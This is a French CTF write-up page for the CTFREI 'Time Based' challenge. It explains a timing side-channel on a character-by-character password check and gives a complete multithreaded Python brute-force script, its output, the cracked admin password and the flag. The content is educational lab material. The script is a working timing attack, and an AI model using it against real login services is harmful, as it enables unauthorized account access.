ThaySan
  • 👋Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • 🔑Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • 🔎Forensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • 💾Programmation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • ⚙️Reverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • 🔑Cryptographie
        • Clavier spécial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins Trafiqués
        • Redstone Gold Block
      • 💾Programmation
        • Captcha 1.0
        • Intro à la prog
        • Captcha 2.0
      • ⚙️Reverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭Stéganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drôle de QR code
        • Randonnée Guillerette à Bordeaux
      • 💻Système
        • Marche-pied
        • Escabot
        • régulation des Données et des Normes de Sécurité
      • 🌐Web
        • cybernight.zip
        • Mon champion préféré
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquête
        • L'enquête 2/6
        • L'Enquête 1/6
        • Bienvenue, enquêteur
    • 2024 | Star-Hack
      • 🔑Cryptographie
        • César, mais pas César
        • Double ennui
        • Langage secret
        • Quadratique Mystérieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • 🔎Forensic
        • Cache-cache
        • Fichier ZIP protégé par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi ça ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • ⚙️Reverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • 🔑Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • 🔑Cryptographie
        • AES Intro
        • Aléatoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • 🔎Forensic
        • Mais qui est le photographe ?
        • Mais où est passé mon flag ?
        • Mémoire 1/4
        • Mémoire 2/4
        • Mémoire 3/4
        • Mémoire 4/4
        • My computer is talking
      • 📚OSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • Sacré dossier
        • Socint
      • 💾Programmation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • ⚙️Reverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭Stéganographie
        • Cybernight être comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • 💻Système
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • 🔑Cryptographie
        • conv
        • oracle-srl
        • ctr
      • 🔎Forensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • 📱Mobile
        • mobisec
      • 📚OSINT
      • 😈Pwn
      • ⚙️Reverse
      • 🕵️Traque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • 🔑Cryptographie
        • Bébé nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'éponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissé chef !
        • SEA - La face cachée de l'Iceberg
      • 🔎Forensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sécuriser que guérir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • 🔌Hardware
        • Serial killer
        • Le soulevé de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais où sont les triggers ?
      • 🤖IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dérobées
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • 📚OSINT
        • Légende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • 🐈‍⬛Quantique
        • Des trains superposés
        • De l'écoute, pas très discrète
        • De la multiplicité des problèmes
      • ⚙️Reverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭Stéganographie
        • ⭐L'absence
        • ⭐Regarder en stéréo
        • ⭐La Barre Fixe
        • ⭐Le grand écart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous êtes en RETARD
        • ⭐Le match du siècle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siècle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • 🔑Cryptographie
        • zzz
      • 📚OSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prélude
        • La fin ?
        • La fuite Dumas
        • Un réseau suspect
      • 💾Programmation
        • Eval me 1
        • Eval me 2
        • Time Based
      • 💻Système
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement était le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • 🔗Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • 🔑Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • 🔎Forensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • 🔌Hardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • ⚙️Reverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • 🔑Cryptographie
        • start-enc
        • traffic-e
      • 🔎Forensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • 📱Mobile
        • flagen
        • improper-configuration
      • 📡Network
        • wifi-basic
        • wifiland
      • 📚OSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • ⚙️Reverse
        • fake-add
      • 🎭Stéganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • 📚OSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • ⚙️Reverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • 🔑Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • 🔑Cryptographie
        • Coupé-décalé
        • ExFILEtration
        • Il s'est baissé ou pas
        • J'ai pas roté
        • Les allemands !
        • RSA Strong Prime generator
      • 🔎Forensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • 🔌Hardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • 💾Programmation
        • Repeat
        • Startup
        • Timing
      • ⚙️Reverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭Stéganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
Propulsé par GitBook
Sur cette page
  • Challenge
  • Solution

Cet article vous a-t-il été utile ?

  1. CTF & Writeups
  2. 2024 | CTFREI - Bordeaux
  3. Programmation

Time Based

Catégorie: Programmation Difficulté: - Flag: CTFREI{t1m3_b4s3d_1s_d0pe_0mg}

Challenge

Description


Arriveras-tu à trouver le mot de passe de l'admin ?

Charset: abcdefghijklmnopqrstuvwxyz0123456789_

Il y a 0.15s de sleep pour chaque bons chars.

Il est conseillé d'utiliser pwntools afin de résoudre ce challenge.

Connexion: nc vps.ctfrei.fr 5004

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Le titre est assez explicite, il faut regarder le temps de réponse. Le serveur vérifie de gauche à droite, caractère par caractère le mot de passe.

A chaque fois que le serveur passe au caractère suivant, cela ajoute du délai à la réponse, il faut donc tester tous les caractères possibles pour trouver celui qui a le plus gros temps de réponse.

Pour éviter les problèmes de réseaux, il faudra faire plusieurs fois le test pour chaque caractère et ne prendre en compte que la durée la plus basse qu'il aura obtenue, ainsi si un délai inattendu se produit, il sera exclu par les autres tentatives. Ce nombre de tentatives sera nommée retry et on va le fixer à 3, ce qui devrait être suffisant

Enfin, pour ne pas attendre 50 ans, on va multithreadé le tout. Rien de compliqué en soi, on a 37 caractères possibles, on va simplement lancer les 37 en même temps et regardé lequel a mis le plus de temps.

import socket
import time
from threading import Thread


CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_"
HOST = 'vps.ctfrei.fr'
PORT = 5004
RETRY = 3


class Attempt(Thread):
  def __init__(self, base_password: str, c: str):
    Thread.__init__(self)
    # Connexion au serveur
    self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.client.connect((HOST, PORT))

    # Récupération du premier message inutile
    self.client.recv(2048)

    # Initialisation de l'état
    self.base_password = base_password
    self.c = c
    self.password = base_password + c
    self.duration = None
    self.cracked = False
  
  # La fonction lancée quand le thread est démarré
  def run(self) -> None:
    # On fait plusieurs tentative pour éviter les problèmes de réseaux
    for _ in range(RETRY):
      self.client.send(f'{self.password}\n'.encode())
      start_at = time.time_ns()
      data = self.client.recv(2048)
      stop_at = time.time_ns()

      # Garde la durée la plus petite parmis les tentatives
      duration = stop_at - start_at
      if self.duration is None or self.duration > duration:
        self.duration = duration
      
      # Si par HASARD on nous répond pas Nope... c'est qu'on a envoyé le bon mdp
      self.cracked = b"Nope..." not in data


def bruteforce_next_char(base_password: str):
  # Liste des tentatives
  attempts = []
  for c in CHARSET:
      # Création d'une tentative
      attempt = Attempt(base_password, c)
      # La classe Attempt étant un Thread, .start() appelle en réalité .run()
      attempt.start()
      # Ajout de la tentative à notre liste
      attempts.append(attempt)

  # On attend que toutes les tentatives se terminent
  for attempt in attempts:
    attempt.join()
    # Si jamais l'une d'elle a cracké le mdp, on la retourne directement
    if attempt.cracked:
      return attempt

  # Trie des tentatives par durée les plus longues
  best_attempt = sorted(attempts, key=lambda attempt: attempt.duration, reverse=True)[0]

  # Renvoie la tentative avec le plus gros temps de réponse
  return best_attempt


def main():
  base_password = ''
  while True:
    # On bruteforce le prochain caractère du mot de passe
    best_attempt = bruteforce_next_char(base_password)

    # La meilleure tentative devient notre prochaine base
    base_password = best_attempt.password

    # Si la tentative a cracké le mdp, on sort de la boucle
    if best_attempt.cracked:
      print(f'Cracked password: {base_password}')
      break
    else:
      # Affiche l'état actuel du mot de passe
      print(f'[i] {base_password}')


if __name__ == '__main__':
  main()
[i] 4
[i] 4d
[i] 4dm
[i] 4dm1
[i] 4dm1n
[i] 4dm1n_
[i] 4dm1n_1
[i] 4dm1n_1s
[i] 4dm1n_1s_
[i] 4dm1n_1s_4
[i] 4dm1n_1s_4_
[i] 4dm1n_1s_4_5
[i] 4dm1n_1s_4_5t
[i] 4dm1n_1s_4_5tr
[i] 4dm1n_1s_4_5tr0
[i] 4dm1n_1s_4_5tr0n
[i] 4dm1n_1s_4_5tr0ng
[i] 4dm1n_1s_4_5tr0ng_
[i] 4dm1n_1s_4_5tr0ng_p
[i] 4dm1n_1s_4_5tr0ng_p4
[i] 4dm1n_1s_4_5tr0ng_p4s
Cracked password: 4dm1n_1s_4_5tr0ng_p4ss

Il ne reste qu'à se connecter avec le mot de passe pour récupérer le flag

> ncat vps.ctfrei.fr 5004
Prouve moi que tu es l'admin en mettant son mot de passe !
De mémoire il commençait par "4dm1n"...
Retrouve mon flag !
4dm1n_1s_4_5tr0ng_p4ss
Tu es login !
Voici ton flag: CTFREI{t1m3_b4s3d_1s_d0pe_0mg}
PrécédentEval me 2SuivantSystème

Dernière mise à jour il y a 1 an

Cet article vous a-t-il été utile ?

🚩
💾